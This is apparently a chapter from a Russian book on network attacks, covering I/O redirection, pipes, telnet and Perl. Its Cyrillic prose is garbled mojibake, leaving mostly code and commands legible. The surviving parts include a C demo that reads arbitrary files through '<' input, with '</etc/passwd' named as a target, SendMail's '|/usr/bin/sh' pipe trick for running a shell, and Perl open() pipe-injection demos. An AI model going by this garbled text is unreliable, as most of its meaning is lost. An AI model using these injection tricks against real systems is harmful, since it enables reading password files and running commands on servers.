稭騬, ⭮, ᫥ ᭨ - ᨬ <Ctrl-Z> 㪠뢠 ணࠬ  襭    䠩.  ᠬ 䠩  .
 ⢥ 㣮 ਬ ᯮ㥬 ⥭ 樮 ணࠬ, ᠭ  몥  - "/SRC/io.c", 室 ⥪ ன ਢ  ( 來  ஢ન  믮).


 #include <stdio.h>

 int main(int argc, char *argv[])

 {

 char buf[100],out[7],tmp,p=0;

 FILE *f;

 f=fopen(argv[1],"r");

 fgets( amp;buf[0],100,f);

 fclose(f);

 f=fopen(argv[2],"w");

 while(buf[p])

 {

 sprintf( amp;out[0],"0x%X\n",buf[p++]);

 fputs( amp;out[0],f);

}

 return 0;

}




 ⠥  ப  䠩, ।  ⢥ ࢮ 㬥  ப,  뢠  ன ASCII  ᨬ  ⭠筮 ।⠢. ਬ, ⠪:
 io.exe con con
 Hello, Sailor!
 0x48
 0x65
 0x6C
 0x6C
 0x6F
 0x2C
 0x20
 0x53
 0x61
 0x69
 0x6C
 0x6F
 0x72
 0x21
 0xA
ࠪୠ ᮡ ⮩ (   㣨) ணࠬ - ᯮ짮   ନ  ਥ  ⮡ࠦ ଠ樨.  ﭭ 㪠뢠 'con con' ᫨誮 ⮬⥫쭮, ࠧ  ࠭  ன⢠ -뢮  㬮砭.
 ⠭⭮ ⥪ 몠   ⮩ 楫 ᯮ 䠩  stdin  stdout, 易  ⠭묨 ன⢠   뢮 ᮮ⢥⢥. ୨஢ ਠ ணࠬ  룫拉 ⠪ ( ᪥  室   "/SRC/iostd.c"):


 #include <stdio.h>

 int main(int argc, char *argv[])

 {

 char buf[100],out[7],tmp,p=0;

 fgets( amp;buf[0],100,stdin);

 while(buf[p])

 {

 sprintf( amp;out[0],"0x%X\n",buf[p++]);

 fputs( amp;out[0],stdout);

}

 return 0;

}




   ⮬ 砥 ⠢ ணࠬ 뢮 १ ࠡ  䠩,   ନ? ⠭ -뢮 룮 ⫨砥  ࠢ  㤠 㣮, 㪠   ப ᯥ樠 ᨬ ">"  뢮  "<"  .
ਬ, ᯮ㥬 ࠭ ᮧ 䠩 myfile  뢥 १ ࠡ iostd  䠩 "out.txt".   ᤥ ᫥騬 ࠧ:


 iostd.exe <myfile>out.txt

 copy out.txt con

 0x48

 0x65

 0x6C

 0x6C

 0x6F

 0x2C

 0x20

 0x53

 0x61

 0x69

 0x6C

 0x6F

 0x72

 0x21

 0xA

 1 䠩 ᪮஢




,  ࠡ⠥!  ?    ᪥   ப  ᫨ 㦨 ᨬ ७ࠢ -뢮, 뢠 ᮮ⢥騥 䠩  뢠   ⮪ -뢮.
७ࠢ -뢮  㪠,   ᫨誮  梨  ⠪. ᬮਬ ᫥騩  (ᯮ  ᪥   "/SRC/iohack.c"),  騩  UNIX-ਫ.


 #include <stdio.h>

 main()

 {

 FILE *f;

 char buf[100],c=2;

 printf("$");

 fgets( amp;buf[0],100,stdin);

 if (buf[0]!='<')

 printf("%s\n", amp;buf[0]);

 else

 {

 while(buf[c]!=0xA) c++;

 buf[c]=0;

 if (f=fopen( amp;buf[1],"r"))

 while((c=fgetc(f))!=EOF)

 printf("%c",c);

}

}




ணࠬ 訢  짮⥫ ப  뢮   ࠭. , ᫨ 㪠  ७ࠢ ⮪ ,  ࠭ 뤠 ᮤন 訢 䠩! ਬ:


 iohack.exe

 $Hello!

 Hello!



 iohack.exe

 $<myfile

 Hello, Sailor!




  ஭, প ਫ ७ࠢ -뢮 祭 㤮  砥 ࠡ  ஬ ( ᠬ , 祬  ⥪ , ᫨     䠩?), :  ਢ  ᫥⢨   ஢묨 ࠧࠡ稪 [94].
ਢ  ਬ, 饭  । UNIX, ⨢  "</etc/passwd" 뤠  ࠭ ᮤন 䠩 ஫,   㣮 䠩  㤥 襭.  ࢮ 鸞 祣 譮  ⮬ , - ணࠬ ᫥  ਢ 짮⥫  砥   ⥬,  ⮫쪮  ⥬, 䠩,  짮⥫   ᬮ    ⮩ ணࠬ, ᪠,  "cat".
  筮    .  UNIX   ⨯ ᮢ - ᫥騥 ࠢ 짮⥫  ᯮ騥   ⥬. ਬ஬ ᫥  㦨 ⮢  SendMail, 筮 ᯮ騩  訬 ਢﬨ.  ᨨ ন ७ࠢ -뢮  﫨 ਠ    䠩,  㯭 ⮬ 짮⥫.
㬥, SendMail  ,   訡 饭  ⢥ ਫ, 饤 ࠧᠭ  ࢥࠬ.    ᪠   ॡ ய⫨ 祭 室 ⥪⮢ ணࠬ - 筮    ப (  ) ⠢ ᨬ "<"  ᬮ  ॠ ணࠬ - -,  !
  ७ࠢ -뢮 祭 ࠭祭. ᬮਬ   ᫥饬 ਬ, -  ॡ  ஢  ⭮ 浪 ᯨ᮪ 䠩 ⥪饩 ४ਨ.  'ls'  ।⠢ ⠪ ࢨ, ⮬ ਤ ᯮ짮 ⨫⮩ 'sort' ࢠ ࠭ १ ࠡ  'ls' ( dir  MS-DOS)  䠩 temp. ⥬ ᯮ㥬   ⢥ 室 ⮪  ⨫ 'sort', 襭  箬 '-r'   ⭮ 浪 ஢.
 $ ls>temp
 $ sort -r <temp
 temp
 sioux.pl
 passwd
 iohack.o
 iohack.c
 index_hack.htm
 demos.txt
 bomb.pl
 attack2.htm
,  ࠡ⠥,  ॡ ᮧ 譥 䠩  ᪥   楫 筮 㤮.    易 ⠭ 뢮  ணࠬ  ⠭  㣮? !  ⠪  뢠   㡠 ( ᪮ pipe).
 ᮧ  室 ᯮ짮 ᨬ "|", ࠧ騩 ᪠ ணࠬ ᫥騬 ࠧ: "ணࠬ 1 ࠬ | ணࠬ 2 ࠬ | ணࠬ 3 ࠬ". 㬥, ⠭  ࢮ ணࠬ  楯窥  ⠭ 뢮 ᫥   ७ࠢ   ᨬ "<"  ">" ᮮ⢥⢥ (१ ⪨ ७ࠢ ⠫ ।᪠㥬,  筮 ࠧ뢠 楯 ).
᭥ ᫥,  ந室 ⢨ ᮢ  ।   .  -     䠩,    짮⥫, ஥  ਭ樯 FIFO ( ᪮ First Input First Output -  襫 -   㩤). ,   ,  ண   ⠥, ࠭   뢠  ९ ( ࠧ  筮 浪  )  ਢ  ஢ -⥫,   ,         㤥 ⠭. 筮 ⠪, ⪠ ⥭  ⮣  ਢ  ⠭ -⥫   ,         .




奬᪮ ࠦ 



   砥,  ࠡ⪥  ணࠬ । ᪠ ᫥ ࠢ,  ਢ  ਬ, ९ᠭ  ⮬ ,  룫拉 ⠪:
 $ ls | sort -r
 sioux.pl
 passwd
 iohack.o
 iohack.c
 index_hack.htm
 demos.txt
 bomb.pl
 attack2.htm
 ࠢ     ⭥?  稬,  ন  ᪫⥫쭮  UNIX, -  㦥   ࠢ  誠 MS-DOS. 뢠  ᯥਬ, ਢ :
 dir /b | sort /r
 sioux.pl
 passwd
 iohack.o
 iohack.c
 index_hack.htm
 demos.txt
 bomb.pl
 attack2.htm
,  ⮬  祣 㤨⥫쭮,   ⮩ , -  筠 樮 ⥬ MS-DOS  ६   ? 뢠,   ॠ ᪮쪮 㣮 堭 প , - ᭠砫 ᪠ ࢠ ᫥ ணࠬ, 뢠  १ ᢮ ࠡ   ஬ , ⥬ ᪠  ணࠬ  砥   室 .  㦥  㡠 砥,  騩 ᥩ!
 ࢮ 鸞  ⠪ 室 祣 ୮ ,   ਬ  ࠡ ४⭮     ࠡ.  ⠪ ⭮, ਬ, UNIX-⨫ "yes", 뫠  ⠭ 뢮 ᪮ ⮪ ᨬ 'y'.  饩 ᯮ   ॡ  ⭮ 믮 ணࠬ, ਮ᪨ ⢫ 짮⥫ ᠬ  ⢥ত 믮 - 樨.
 UNIX    ᨬ 'y',  믮 ⨫ "yes" ਮ⠭,   ,  㣮   쬥     ᪮쪮 ᨬ.   MS-DOS     ᯮ ࠫ쭮,    "yes"   믮,  㣮 ਫ  ᬮ  ࠢ,  ᪮ 믮 "yes"    (ணࠬ- 諥 横) ⥬ ᪨     ୮ 横.




ࠢ ஢  UNIX  MS-DOS.  MS-DOS   宦  <ᥩ>, 祬  <㡮஢>



প ஢ - 㪠 ⥫쭠,  ⮫쪮   窨 ७ ᭮. 騩  뢠  ⢥ত ( ᪥  室   "/SRC/pipe.hack.pl").


 open(FH,<>);

 if (FH)

 {

 while(<FH>)

 {

 print;

}

}




  , ணࠬ ।祭  뢮 ᮤন 䠩  ࠭,   ,  ந, ᫨ ᯮ짮 ᨬ :
 ls|
 sioux.pl
 passwd
 iohack.o
 iohack.c
 index_hack.htm
 demos.txt
 bomb.pl
쪨!   㭪 open 몠 Perl ᭮ ন !   䠩 ந室  !   ⮨ ,  ᫥⢨ ⥪  ⮣! ,   ᨩ SendMail 﫠  ⢥ ⭮  ࠢ⥫ 쬠 ⠢  "|/usr/bin/sh"  窠 ⢨⥫쭮 ᪠, ।⠢ ⠪饬 ਢ஢   ⥬ (  ).
஬ ⢮     <> প , 饣 믮  㤠 設   [95]. 筮 ७ࠢ -뢮,  ન   㦥  ⮫쪮 ⥫ 祭 室 ⮢ ਫ,   ⮩ ⠭  "|"   㯭 ப    .  ⠪   ।  ࠡ뢠.
 ⬥,  <᭮> থ  ⮫쪮 樮 ⥬ UNIX,   ⢮ 㣨,  ⭮ Windows 9x/Windows NT.   ⮬  ਢ   "pipe.hack.pl". 筮    ଥ Windows   ᫥ :


 dir |

   ன⢥ F   ⪨

 ਩  ⮬: 2F42-0AE8

 ন  F:\TPNA\src

. <> 28.06.00 23:14.

: <> 28.06.00 23:14:

 IO C 294 06.07.00 10:29 io.c

 IO OBJ 775 06.07.00 10:18 io.obj

 IO EXE 32 768 06.07.00 10:18 io.exe

 IOSTD C 228 06.07.00 10:30 iostd.c

 IOSTD OBJ 627 06.07.00 10:26 iostd.obj

 IOSTD EXE 32 768 06.07.00 10:26 iostd.exe

 MYFILE 16 06.07.00 10:53 myfile

 OUT TXT 89 06.07.00 10:53 out.txt

 IOHACK C 295 06.07.00 15:18 iohack.c

 IOHACK OBJ 827 06.07.00 14:58 iohack.obj

 IOHACK EXE 32 768 06.07.00 14:58 iohack.exe

 PIPEHA~1 PL 65 06.07.00 22:29 pipe.hack.pl

 12 䠩 101 520 

 2  1 710 641 152  ᢮




⮤ ⨢⢨     訡  ᠭ   <⠪  WEB-ࢥ>,   㤥 ᭥ 祬 ᨬ    ᫥   (  ਬ  "|/usr/bin/sh"),  ࠢ ("dir |"). - <᪨>  ⮨    ணࠬ,  뢮 ࢮ      ன.    "program 1 | program 2"  ࠧ  "stdin R program 1 R program 2R stdout".   砥,  ᯮ ᥣ   ணࠬ, 뢮 ணࠬ, 饩  ᨬ , ७ࠢ  뢠 㭪樥 "open" ,  뢮 ணࠬ, 饩  ᨬ , 㤠  ७ࠢ   ﬨ  ନ.
  த஢ ਢ   ( ᪥, ਫ  ,  室  䠩 "/SRC/pipe.test.pl"):


 open(FH,<>);

 if (FH)

 {

 while( $x=<FH> )

 {

 print " ⥪ ⠭  䠩:$x" ;

}

}




ப < ⥪ ⠭  䠩>, । ६ $x,  ⫨ ᨬ, 砥 ⥭  䠩,  ⥪ ।⢥ 뢮 ணࠬ  ࠭.
 echo Hello, Sailor |
  ⥪ ⠭  䠩:Hello, Sailor
 |echo Hello, Sailor!
 Hello, Sailor!
 ࢮ 砥,   "echo" ⮨  ᨬ , १  ࠡ ࠢ  뢠 㭪樥 open , 㤠   ⠥ ஬ "<>"  뢮  ࠭ 맮 "printf".
 㣮 砥,   "echo" ⮨ ᫥ ᨬ , १  ࠡ ࠢ  ⠭⭮ ன⢮ 뢮,    "print".





 ⠪- ᫠  諮!  ᨦ   宬,    㪮, 㣮 ᭨   ⮢ த, । ,  ,   ⠥, 뢠  ᪠  ॣ.     ஢ ᥫ.
ᠭ ᮢ




 믮 ணࠬ (  稭)



O  ⮩ :
O   telnet
O ன⢮ telnet-ࢥ
O ⮩ telnet-
O 室  㤠 ⥬
 ⪮    ᮭ      ᬥ.   ६ ஭-᫨⥫ 設  楫 饭 ( ᫨  饭,  誠 - 筮)  ⮨ ⪮ ண.  ࠢ,   㯠 楫    ( 㭨)  㦨 ⪨ ନ.



⮪ telnet  ࠧࠡ⠭  砫 80-   ⢥ ⨯ ⮤ 8-⭮ 㭠ࠢ 裡  㠫 ନ ன⢮  ஬. 㠫 ନ   ⮣, ⮡ ⫨   筮 (⥫㠫쭮, dumb).   ᭨ 業  ᮭ   ⥫㠫 ନ ⠭  㤭.    ।⠢ ᮡ  ࠭  , ᮥ  ஬ १ ᫥⥫ 䥩. ᮭ , ᭠饭 ᮡ⢥묨 ࠬ,   ᪮ , ࠧ 㭨ᠫ쭥    ⥫㠫 ନ.    ,   ࠡ⠫  ଥ, ந饩 UNIX-, ⮫쪮 襥 㪮⢮  ᢮ ᮡ⢥ ,   ᬥ 뫨 ⠭ ନ, 祭    ᪮ । 9600 /.  ⫨ 짮⥫  뢠  業ࠫ묨 UNIX-ࠬ   DOS-ᨨ telnet.
 䠭
ନ ⮣ 뢠  , 㦨騩   ,   ᫥ 믮﫠 ᮪ந⥫쭠 [96] .  奬   ᥣ -  ⠪ 㭪樮 ᮢ६ 㯥મ,    ⮫쪮 .
ணࠬ, 믮  業ࠫ쭮 , 砥  ନ 室 , 믮  室 ᫥  ࠢ १ ᢮ ࠡ ⭮  ନ. , 祬  ᪨ ਬ, 騩  楯 -뢮?
ॡ ⠭⨧樨 ⢨ ନ  㤠 ஬     ࠧ ARPANET,   १ ⮣  1969   ᢥ  ⮪ telnet (᮪饭  telecommunication network protocol - ⥢ 㭨樮 ⮪).    㤠 ⢨ 室  ࢥ  㤠 ନ,  室     㧫 (஡-  ᯥ!) ⯠.  telnet  ࠧࠡ⠭  ப rlogin,  訩  4.2 BSD UNIX  ।砢訩  㤠 ࠢ ନ  UNIX-㧫.  ⫨稥  㭨ᠫ쭮 telnet, ⮪ rlogin  ᯮ짮 ⮫쪮  । UNIX.  頫  ணࠬ஢,   ࠭稢  ਬ. ⮬,  饥 ६ ⮪ telnet  ୮ ⭮ ॢ室 rlogin.
 ⮪  ஡ ᬮ७   <⮪ telnet  rlogin>,     ⪮ ᠭ   .
孨᪨ 㤠   ⥬  ॠ ७ࠢ -뢮.  ᠬ ,  ࠧ ᮥ ନ  ஬ ஢  ⨭⠫쭮  Internet?  窨 ७ ਪ ணࠬ ନ ᥣ ⠥ ନ,  ᫨ 䨧᪨    த.  UNIX  ன⢮ ( ⮬ ᫥ 㠫쭮)  ।⠢   䠩.  䠩  ᢮ । -  ꥪ, ন騩,  ࠩ ,  ᭮ 樨 - ⥭   . ⮬, Internet-ᮥ  ।⠢   ࠦ 䠩.
㡮 ,  ६ telnet-ࢥ ᢮  㬥  ନ -뢮  TCP-ᮥ ( ⥮᪨  ᮧ telnet    UDP ⮪). 奬筮 ⢨  telnet-ࢥ஬  telnet-⮬   㭪 t26_1.jpg




 ⢨ telnet-  telnet-ࢥ஬



 㬠 ,  ᥣ, ,      ⢮ । ᫮⥩, 㦤   ᥢ ७.    ᭮ 稭騬, ⮬ ୥  訬 ࠭, ᫠ ᨮ   <⮪ telnet  rlogin>,  ன  뢠   ஡.
  ࠧ Internet,     ᯥ 㬠  WEB,  業஬ ⥢  뫨   Usenet, ⮪ telnet  ᭮ ।⢮ ⥢ 饭.    ࢨ -  ⨪.    ᫮  祬 - ᫨誮  ࠧ  ᫥ ६ ।⥫    ⥩,  㤠 믮 ணࠬ - 魮 㦨  㪠 諥,   ⠫  뢠   ᢮ ࢥ.
 ,  Internet  ᪮쪮  ᯫ telnet-ࢥ஢, ।⠢ ᯫ .    設⢠ ᯥਬ⮢ 㤥 ᯮ짮 hobbiton.org,  ⥫    㣮 ࢥ, ஬ ᯨ᮪  室  ࠭窥 http://www.telnet.org/htm/places_misc.htm.
 ਧ  telnet-ࢥ  㧫 -   ⨩ . 祬,    ࢥ ᪠  ᥡ  . ࠧ  ᫥ ⠭ ᮥ 訢  짮⥫  ஫,  ⮫쪮  ।  㤠   த "guest" ( ॢ  ᪨ <>)  "newuser" ( ॢ  ᪨ < 짮⥫>).
 饭  telnet-ࢥ஬ ॡ telnet-.    -    ⥫,    㤥 ᯮ짮 ᪫⥫쭮 telnet.exe, 室騩   ⠢ Windows 9x/Windows NT.   訩 롮    ᨫ쭮 ࠭祭,   ᥣ 㯥  짮⥫,   ६  ⠫ ⨫  ஡-, ࠧ!







ਫ telnet.exe, ⠢塞  Windows 95  Windows 98, ᮤন 訡, 易  ९  ᫨誮  㬥⮬  ப.   믮     , ⮨    뫪   㧥,  telnet://server.com/xxxxxxxx,  "xxxx:" ᯥ樠 ࠧ ࠭ ᫥⥫쭮 [97].
 砫 ࠡ   室 ந.  㤥    ᤥ  ਬ ⭮  Windows. ⠫   䨣  ⮩   ⥯ 筮. ⨢ telnet.exe, 室 뢠  <ࠬ ନ>, ⨢ 㭪  "~ନ/ࠬ".  ᫥饥  (ᬮ 㭮 059):




ࠬ ନ telnet.exe



 ࠡ  telnet-ࢥ஬ 䫠 <⮡ࠦ > (㣮 ࠭ ਠ  ⮩ 樨 <쭮 > [98]) 室 ,      ᨬ  㡫஢.  ந室 ⮬,  telnet-ࢥ 頥   ᨬ, ࠭   .    짮⥫ ࠡ ᫥?
  ⮫쪮 祢,  ⢮ ୠ⨢ ਠ⮢   㪫뢠  , , ᬮ    ! ⨢,  設⢥ ᯥਬ⮢, 뢠  , 䫠 <⮡ࠦ > ਤ ⠭, ᪮ ⠪ ࢥ , ਬ, SMTP, POP3, HTTP <> ண뢠 ⤠ 짮⥫    १ ᢮ ࠡ,   ⮡ࠦ ਭ ᨬ  ନ.   telnet  ᠬ⥫쭮 뢮  ࠭   , ᫨ 䫠 <⮡ࠦ > ⠭.
 ᫥騥 樨 ࠢ ମ . 祭  । ᠬ  ﬨ 짮⥫. ⠭ 䫠 <騩 > ਢ  ,    ᪠  ࠭. ᫨  栭 ࠧࠦ -  䫠  .
  ।   <>  <אַ㣮>. <> ਢ    ࠭ ᨬ ઠ, ࠦ  㭪 063. ⨢, אַ㣮    ப 楫  룫廊 ⠪,    㭪 062.




   ⠭ 䫠 <אַ㣮 >







   襭 䫠 <אַ㣮 >



< VT100> 㪠뢠  室 樨  ନ VT-100, ⫨饣   ନ 稥 -५, ࠢ騬  . ᫨  䫠 ,  । vi ਤ 짮 蠬 'hjkl',    ᪮쪮 ਢ筮 ᮢ६ 짮⥫, ⮬ "VT100"  ᥣ ঠ ⠭.
   ᫮ ப,  㤥  telnet-, ᪠  ப⪨ .  ⠭ 筮 讥 祭,  뢮 १⮢ ࠡ ணࠬ ⠭ 室 <>  ,   㤥     . 祬,  ⢥ ୠ⨢ telnet.exe ᪠ ⮪஢ ᥠ ࠡ, - ࠭     祭  ࢥ ଠ樨  䠩 ⮪.
⮪஢ -  室  ࠡ     ᥣ ঠ 祭.  ⮣ 筮   "~ନ/ ⮪஢"  㪠  䠩   㤥  .  ᥠ ⮪஢   室  telnet,  ४饭 ⮪஢   "~ନ/ ⮪஢".
, ,   梥 䮭 ,    ᢮      ࠡ ନ   .
 ࠧ,  砫 ᥠ  telnet-ࢥ஬ 室  䫠 <⮡ࠦ >  ⠭ < VT100>, 祭  ⠫  ஢  ᨬ  ᮢ 짮⥫.


१ <砭>




 ⠢ Windows 2000 室 ⥫쭮 , ᮫, telnet-, ⪮ ᠭ ண 室   < telnet-⮢>.  ⨬ ᯮ짮 ०, ᪮ telnet-, ⮣  ⠢ Windows 95 (Windows 98)  Windows NT 4.x.  ⮣ 筮 ᪮஢  ᯮ塞 䠩 telnet.exe.
    ᯮᮡ ᮥ  telnet-ࢥ஬ Windows 2000, ᪮  ন NTLM ⥭䨪,  ⥫쭮 ४ ᯮ짮  楫 ᭮.  ᥬ  ⠫묨 砬, ᠭ묨  ⮩ ,  ᯥ譮 ࠢ.
騩 ᯥਬ  祭  telnet-ࢥ hobbiton.org  ॣ  짮⥫.  ⮣ 室  㭪  "~/ ⥬".   ࠭   , ࠦ  㭪 060   < 㧫> 㪠 <hobbiton.org> (  㣮 㧫,  ஬ 室    ). ন  <>   ⠯ 室 ⠢  㬮砭,   "telnet"   ᫥ 祭  - "23"   "vt100"  < ନ>.




㭮 060  <祭>



⥬   <>,   ᥪ㭤  ⠢ "OpenBSD" [99],  ॡ   짮⥫  ஫ (ᬮ 㭮 061).




㭮 061 砫 telnet-ᨨ  ࢥ஬



᫨  ᢮    㣠 ஫, ࢥ 㣠,-   , , ⠪ 室楢, ஡  ࠧ.  ॣ樨  짮⥫ 室  ⢥   "newuser". ࢥ  ᪮쪮 ਤ稢 ᮢ  , ,  ஦  १ ஥ ६, 騥  ⪮   ᪮쪨 , ᮧ      ⥬.



  ᤥ   Perl (  稭)



O  ⮩ :
O  ᮧ 몠 Perl
O 祭   Perl
O  ⥩ Perl



<:ணࠬ ᫨誮      ᥡ. ணࠬ⠬ 㦭  ६   ࠢ. ᫨ ணࠬ஢  ᭮,   㤥 㡥 㣨  ணࠬ⠬>
 



த  ⢥ত, , ᪠,  ࠧ 㢨, 祬  ࠧ . ⮬,  뫪 樨  祭 몠 Perl,  㤥 ਢ  쪨,  ᠬ 䥪,  筮 ਣ ᯥਬ.  ⭮, 設⢮ ࢥ஢ ⥩ Usenet  ᨫ쭮 ॣ㦥   ⫨  ᪮.  ᠬ ७樨 ன ᮤঠ  ᮮ饭, ᬠਢ   on-line 쬠   .
 ⥬, ⥪⮢ ᮮ饭  ᦨ  娢஬  ᪮쪮 ࠧ, -  ࢥ  㬭, -    । 㯠 ⮪    , ⭮ 㬥 ⥢ 䨪.
 ⠪   㤭 ⢨  ᠬ⥫쭮:  ࢥ   , ⠭    ணࠬ,  㬥   ᮮ饭  ࠭ ७樨, 㯠뢠   몫뢠   FTP, ন騩 .
 ਢ    ॠ権 ⠪ ணࠬ ( ᪥, ਫ  ,  室  䠩 "/SRC/nr.pl").  ⢥ ࠦ  telnet-  hobbiton.org (ᬮ  < 믮 ணࠬ>)   ᫥騩 ⥪  । vi:


 #!/usr/local/bin/perl

 use Socket;



 #⮩  㬮砭

 #$server='mailserver.corvis.ru';

 #$server='oberon.rnd.runnet.ru';

 $server='news.fido7.ru';

 $group='fido7.ru.nethack';

 $listfile='list.txt';

 $msgfile='msg.txt';



 print "NNTP Reader Version 2.0 (c) 2000 Kris Kaspersky\n";

 print "Open nf.cfg file:";



 #⪠  ⮥  䠩

 if (open(FH,"nr.cfg"))

 {

 print "OK\n";

 $server=<FH>;

 $server=~ s/\n//;

 $group=<FH>;

 $group =~ s/\n//;

}

 else

 {

 print "fail\n";

}



 print "Server [$server]:";

 $tmp=<>; if (length($tmp)>2) {$server=$tmp; $server=~ s/\n//;}





 print "Command (MSG|LIST|EXIT):";

 $tmp=<>;



 if ($tmp=~/MSG\n/)

 {

 print "Group [$group]:";

 $tmp=<>;

 if (length($tmp)>2) {$group=$tmp; $group=~ s/\n//;}

 getmsg();

}



 if ($tmp=~/LIST\n/)

 {

 LIST();

}



 if ($tmp=~/EXIT\n/)

 {

 EXIT();

}



 #࠭塞 ⮩  䠩

 if (open(FH,">nr.cfg"))

 {

 print FH "$server\n";

 print FH "$group\n";

}

 close (FH);





 sub getmsg()

 {



 $cmdcount=0;

 print "Connecting to $server:";

 socket(NNTP, PF_INET(), SOCK_STREAM(), getprotobyname("tcp") || 6);

 connect(NNTP, sockaddr_in(119,inet_aton($server))) || die;

 print "ok!\n";



 recv(NNTP,$rc,200,0); # ਣ襭 ࢥ

 print "$rc\n";



 send(NNTP,"GROUP $group\r\n",0); # 롮 㯯

 $group_res=<NNTP>;

 if(substr($group_res,0,3)-411)

 {

 print "$group_res\n";

 die;

}

 print "$group_res\n";



 open(FH,">$msgfile"); #  䠩 ᮮ饭

 print FH "$group_res\n";

 $cmdcount=0;



 $reader=1; # 横

 $msgdone=0; # 饭 ⠭



 while($reader)

 {

 send(NNTP,"ARTICLE\r\n",0); #  



 while(substr(($rc=<NNTP>),0,3)!~/\.\r\n/)

 {# ⥭ 



 if (!$rc) {print "Close connection\n";die;}

 print FH $rc;

}

 print FH $rc;

 $msgdone++; # 饥 ᮮ饭

 print "=$msgdone;\r"; # ⮪  ࠭



 send(NNTP,"NEXT\r\n",0); # 饥 ᮮ饭

 $nx=<NNTP>;



 $add=1;

 while($add)

 {

 if (substr($nx,0,1)!~/\./){$add=0;}

 if (substr($nx,0,1)=~/\./){$nx=<NNTP>;}



}

 $nx++;



 if ($nx-422) {$reader=0;} # 室  横

}



 close (FH);



 if (open(CF,"$msgfile.gz")) #  䠩 ᫨  㦥 !

 {

 close(CF);

 unlink("$msgfile.gz");

}



 open(FG,"|gzip $msgfile"); # !

 print "Done\n";

 close(NNTP);

}



 sub LIST()

 {

 print "Connect to $server:";

 socket(NNTP, PF_INET(), SOCK_STREAM(), getprotobyname("tcp") || 6);

 connect(NNTP, sockaddr_in(119,inet_aton($server))) || die;

 print "ok\n";



 recv(NNTP,$rc,200,0);

 print $rc;



 print ">LIST\n";

 send(NNTP,"LIST\r\n",0);



 open(FH,">$listfile");

 print FH "Server: $server \nLIST:\n";



 $cmdcount=0;



 while(substr(($rc=<NNTP>),0,1)!~/\./)

 {

 $cmdcount++;

 #if ($debug) {print "$rc<BR>\n";}

 print "=$cmdcount\r";



 print FH $rc;

}

 close (FH);





 if (open(CF,"$listfile.gz"))

 {

 close(CF);

 unlink("$listfile.gz");

}



 print "Done\n";

 open(FG,"|gzip $listfile");



 close(NNTP);

 print "<HR>\n";

}




 ᮧ 䠩  "perl nr.pl".  ࠭ ନ  ᫥饥:
 NNTP Reader Version 2.0 (c) 2000 Kris Kaspersky
 Open nf.cfg file:fail
 Server [news.fido7.ru]:
  <Enter>    news ࢥ,    ⠭ ᮥ. ⥬  ᫥騩 :
 Command (MSG|LIST|EXIT):MSG
롥  "MSG"  祭  ᮮ饭  ७樨,  "LIST"  뤠 ᯨ᪠  㯭 ७権. ᫨   "MSG" ணࠬ    ७樨, ᮮ饭 ன ॡ :
 Group [fido7.ru.nethack]:
᫥  "Enter" 筥  ४窨 ᮮ饭  㤠 ࢥ. ᫨  ⢨⥫쭮 室  ஬ ,     ६.
 Connecting to news.fido7.ru:ok!
 200 ddt.demos.su InterNetNews NNRP server INN 2.3experimental 20-Nov-1998 ready (posting ok).
 211 418 26550 26967 fido7.ru.nethack
 =55;
 砭   ⥪饩 ४ਨ 㤥 ᮧ 䠩 "list.txt.gz" (᫨  襭 ᯨ᮪ ७権)  "msg.txt.gz", ᮤঠ騩 ⥪ ᮮ饭. ᯮ  ftp-⮬  몠砩  䠩  ᢮  . ᯠ  娢஬ gzip ( ᮢ⨬   Winzip32) , ࠤ ⢠, ᮯ⠢ ࠧ 䠩   ᫥ 㯠, ਪ, ᪮쪮  ६ 㤠 .
 쭮  ਬ, 뢠騩  Perl  ᥤ . 筮 ⠪  ४ 䠩   ࢥ, (ਬ, ftp)  ন饣 ,  ࢥ  ন騩.
ਬ⥫쭮  ⠪  孮  㡨 ࠧ  楢. -,  ᯥ稢  ( ணࠬ ᯮ   㤠 ࢥ,  ⠢  ,   IP 諥),  -,  ⠪     ॠ ਭ樯쭮 !
 ⠪  ᢥ  ணࠬ ॠ樨, .. ᫥⥫쭮 権, ࠡ    ⮭,   ०.  ࢮ 砥  室 ⠭  ⭮  砫 ⠪, ᫥ 祣 ⠪騩   ,  砭 ࠡ ணࠬ.   ஬ ॡ ᭮ ⢨  ஬ - 뤠 ஬ १⮢,  樨   । ᫥⥫쭮 .
 ⥢ ணࠬ஢  ୮  ,  ॡ騥 ।⥫쭮 樨 ணࠬ ।  믮.   ᮧ  ,   ࠡ騩  ࠢ  ࢥ୮ , ࠧ㬥,  ᫮,     ॠ樨 ॡ㥬 ,   ⠭  ⥬.
 楫  ᠬ ࠧࠧ ஢,  , 롨ࠩ, -  .  設⢮    ᪠ 让 ୮  ⭮  㧪  ਢথ楢. ⭮ 㦨 -    ந쭮 ⮬ ࢥ   ,  ᫨   㬠᫨  ⥬  㣮 ⠭  襣  몠 - 祣 ࠡ  㤥.
祬,  ,  ண ⠭  饬 設⢥ ࢥ஢.    Perl.  ॢ ஢뢠  Practical Extraction and Reporting Language -  -᪨ ࠪ᪨   祭 (⥪⮢)  樨 (⮢).
   ⢥ত, 类 Perl  ᮧ    ᪠  祭 ᮮ饭  ᢮ ஬  ७権 Usenet.




 



,  ᠬ ,  ந室  ᮢᥬ ⠪.  Perl ⢨⥫쭮 ᮧ  , ⨢訬    1986     "Gloria".  ⮬  㤨 ᮢ襭⢮ 饣 㬥 ࠧࠡ⪨ । ࠢ  ਭ ஢ ⥩.  ஡  -  sh,  awk,  sed,  tr,   ⥩  墠⠫  ⭮ 믮 ⠢    ᮧ ਯ ﭭ  室 .


१ <ଠ>




ॢ "awk" ।⠢ ᮡ  㪢  ࠧࠡ稪 몠 ।  (Aho),  ࣥ (Weinberger), ࠩ ୨ (Kernighan). ⠪ 몠     ਥ஢  ࠡ ⥪⮢.  ᪮ , awk ⫨砫 প ॣ ࠦ, 樠⨢ ᨢ  ᢮ । ⨯ ६  ᠭ.
  殢,  訫 ᮧ ᮡ⢥ 㬥਩.  ⢮  襥   몮: ଠ 뢮 뫨 ᪮஢  BASIC, ᪨ ⥪ ਫ Lisp, 樠⨢ ᨢ 諨  awk,  ᨭ⠪ ⠫ ⫨稬  .
ਤ  㤠    ୮   㣠. ᯥ ᯮᮡ⢮  筮 몠,   ஬ ⢥ 㬮砭,  뢠 窠,  ᮪ ࠧ ⨭     묨 ᥬ ᨮ.


१ <砭>









